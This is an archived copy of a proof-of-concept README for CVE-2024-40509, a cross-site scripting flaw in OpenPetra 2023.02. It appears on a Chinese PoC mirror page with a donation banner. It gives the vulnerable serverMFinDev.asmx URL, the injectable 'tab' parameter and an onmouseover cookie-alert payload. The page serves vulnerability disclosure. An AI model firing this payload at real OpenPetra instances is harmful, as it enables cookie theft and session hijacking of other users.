目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1000 元

100.0%
请我们喝杯咖啡

CVE-2024-40509 PoC — OpenPetra 安全漏洞

来源
https://github.com/Jansen-C-Moreira/CVE-2024-40509
关联漏洞
标题:OpenPetra 安全漏洞 (CVE-2024-40509)
Description:OpenPetra是OpenPetra公司的一个免费的管理软件。 OpenPetra 2023.02版本存在安全漏洞，该漏洞源于存在跨站脚本漏洞，允许远程攻击者通过serverMFinDev.asmx函数获取敏感信息。
Description
OpenPetra v.2023.02 CVE-2024-40509
介绍
# CVE-2024-40509
# Cross Site Scripting vulnerability in openPetra v.2023.02 via the serverMFinDev.asmx function.

**Description**: An unauthenticated user can steal cookies from authenticated user, by exploiting a XSS in openPetra v.2023.02 via the serverMFinDev.asmx function.

**Vulnerable Product Version**: openPetra v.2023.02  
**CVE Author**: Jansen Moreira 
**Date**: 13/07/2024  
**CVE**: CVE-2024-40509  
**CVE Link**: https://www.cve.org/CVERecord?id=CVE-2024-40509  
**NVD Link**: https://nvd.nist.gov/vuln/detail/CVE-2024-40509     
**Tenable Link**: https://www.tenable.com/cve/CVE-2024-40509  
**Confirmed on**: 13/07/2024                               
**Tested on**: Linux  
### Steps to reproduce:  
1- Access the home Page  
2- Use the following path and add the xss payload in the tab parametrer. EX.:  ```http://target.com/api/serverMFinDev.asmx?bnd=TMFinDevWebServiceSoap&op=TFinDevWebConnector_Dummy&page=op&tab=x"```       
3- Hover the mouse over the left index item to trigger the XSS  

**Payloads**:  
tab: x" onmouseover=alert(document.cookie) x="


Discoverer(s)/Credits:
Jansen Moreira
文件快照

 [4.0K]  /data/pocs/996e575c45d3239cf22e9d935ebab979a144769f
└── [1.1K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。